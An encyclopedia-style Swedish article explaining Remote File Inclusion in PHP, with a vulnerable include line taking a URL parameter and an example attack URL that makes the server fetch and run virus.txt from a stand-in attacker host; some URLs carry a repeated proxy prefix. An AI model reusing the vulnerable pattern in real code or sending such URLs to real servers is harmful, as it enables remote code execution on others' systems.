Remote File Inclusion
Remote File Inclusion är en typ av attack i webbaserade skriptspråk. Attacken innebär att en person kan exekvera sin egen skriptkod på någon annans server. Om personen skulle lyckas med att exekvera sin kod i hemsidan via rfi, så kommer denne få åtkomst till alla filer på webbplatsen och kunna ändra dem om inte rättigheterna är inställda rätt på webbservern.
Exempel, attack i PHP
[redigera | redigera wikitext]PHP-kod:
include($_GET["sida"] . '.html');
Exempel på vanlig användning
http://server.se/vulnerablepage.php?sida=nyheter
Användaren går in på sidan och nyheter.html öppnas och körs på server.se
Exempel på hur en attack skulle kunna gå till
http://server.se/vulnerablepage.php?sida=http://attackerarens-server.se/virus.txt?
Istället för att öppna en lokal fil, öppnas filen virus.txt på attackerarens-server.se, och körs på server.se lokala servern.
Krav och funktioner
[redigera | redigera wikitext]För att den här typen av attacker skall fungera måste antingen allow_url_fopen eller allow_url_include vara påslaget i php-konfigurationen, beroende på version av PHP.
PHP funktioner som kan vara sårbara för remote-file inclusions:
include_once
include fopen require()
require_once()
file_get_contents()